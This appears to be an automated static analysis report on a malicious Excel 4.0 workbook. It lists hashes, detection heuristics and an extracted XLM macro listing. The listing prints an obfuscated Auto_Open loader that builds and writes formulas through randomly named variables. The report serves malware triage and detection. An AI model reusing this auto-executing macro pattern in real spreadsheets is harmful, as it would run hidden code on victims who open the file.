Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e43bb8f2b12e81a2…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:54 Authoring application: Microsoft Excel First seen: 2021-02-23
MD5: 39823d3efc759776a6abc0bb1e7b6aa6 SHA-1: 09ac2a53ec71a6d3143eb5847ae5a167e05194d1 SHA-256: e43bb8f2b12e81a2f5c4375656fbfc21dac6c575d2f19c1c40a416220ceed186
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6426 bytes
SHA-256: 2dd66920d40d6be15a9ba009dbf0ba80ed14d3e5acdfba80d143be619a4198fc
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Cttmx
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H159 
' 0018     23 LABEL : Cell Value, String Constant - BJswGzRi len=0 
' 0018     20 LABEL : Cell Value, String Constant - bSIgv len=0 
' 0018     24 LABEL : Cell Value, String Constant - CPGhrGyDK len=0 
' 0018     20 LABEL : Cell Value, String Constant - DNmYz len=0 
' 0018     20 LABEL : Cell Value, String Constant - DwnqH len=0 
' 0018     24 LABEL : Cell Value, String Constant - hFEhglLqN len=0 
' 0018     20 LABEL : Cell Value, String Constant - iQcBO len=0 
' 0018     26 LABEL : Cell Value, String Constant - JLNuaAdxTpa len=0 
' 0018     25 LABEL : Cell Value, String Constant - kNmZkaDdLg len=0 
' 0018     27 LABEL : Cell Value, String Constant - mJTlRDaiMZtl len=0 
' 0018     20 LABEL : Cell Value, String Constant - mzecz len=0 
' 0018     27 LABEL : Cell Value, String Constant - NtufmrrLSPQz len=0 
' 0018     20 LABEL : Cell Value, String Constant - oWhmX len=0 
' 0018     22 LABEL : Cell Value, String Constant - oYzZlHo len=0 
' 0018     26 LABEL : Cell Value, String Constant - PPUjtNDaxcf len=0 
' 0018     20 LABEL : Cell Value, String Constant - QHmBj len=0 
' 0018     24 LABEL : Cell Value, String Constant - WAeSznqKL len=0 
' 0018     26 LABEL : Cell Value, String Constant - YtbucDASJMq len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZCJjQQf len=0 
' 0018     22 LABEL : Cell Value, String Constant - zZqlRJQ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Cttmx,H80,"SET.NAME("PPUjtNDaxcf",VALUE("0"))",""
'  Cttmx,H82,"SET.NAME("NtufmrrLSPQz",PPUjtNDaxcf)",""
'  Cttmx,H84,"SET.NAME("iQcBO",PPUjtNDaxcf)",""
'  Cttmx,H89,"SET.NAME("oWhmX",COUNTA(hFEhglLqN))",""
'  Cttmx,H91,"SET.NAME("kNmZkaDdLg",COUNTA(JLNuaAdxTpa))",""
'  Cttmx,H94,[],""
'  Cttmx,H98,"SET.NAME("zZqlRJQ","")",""
'  Cttmx,H101,"NtufmrrLSPQz",""
'  Cttmx,H104,"SET.NAME("DNmYz",HLOOKUP("*",hFEhglLqN,NtufmrrLSPQz,FALSE))",""
'  Cttmx,H106,"QHmBj",""
'  Cttmx,H111,"SET.NAME("DwnqH",PPUjtNDaxcf)",""
'  Cttmx,H113,[],""
'  Cttmx,H118,"DwnqH",""
'  Cttmx,H122,"bSIgv",""
'  Cttmx,H125,"mJTlRDaiMZtl",""
'  Cttmx,H127,"ZCJjQQf",""
'  Cttmx,H132,"SET.NAME("CPGhrGyDK",VALUE(HLOOKUP("*",JLNuaAdxTpa,ZCJjQQf,FALSE)))",""
'  Cttmx,H134,"YtbucDASJMq",""
'  Cttmx,H138,"zZqlRJQ",""
'  Cttmx,H140,"iQcBO",""
'  Cttmx,H142,NEXT(),""
'  Cttmx,H146,"BJswGzRi",""
'  Cttmx,H149,"SET.NAME("f",INT(T(FORMULA(T(zZqlRJQ)&"",""&T(BJswGzRi)))))",""
'  Cttmx,H152,"WAeSznqKL",""
'  Cttmx,H154,NEXT(),""
'  Cttmx,H157,RETURN(),""
'  Cttmx,H180,"SET.NAME("oYzZlHo",H80)",""
'  Cttmx,H185,"hFEhglLqN",""
'  Cttmx,H187,"SET.NAME("JLNuaAdxTpa",R61C11)",""
'  Cttmx,H192,"SET.NAME("WAeSznqKL",200)",""
'  Cttmx,H197,"SET.NAME("mzecz",8)",""
'  Cttmx,H199,oYzZlHo(),""
'  Cttmx,H200,HALT(),""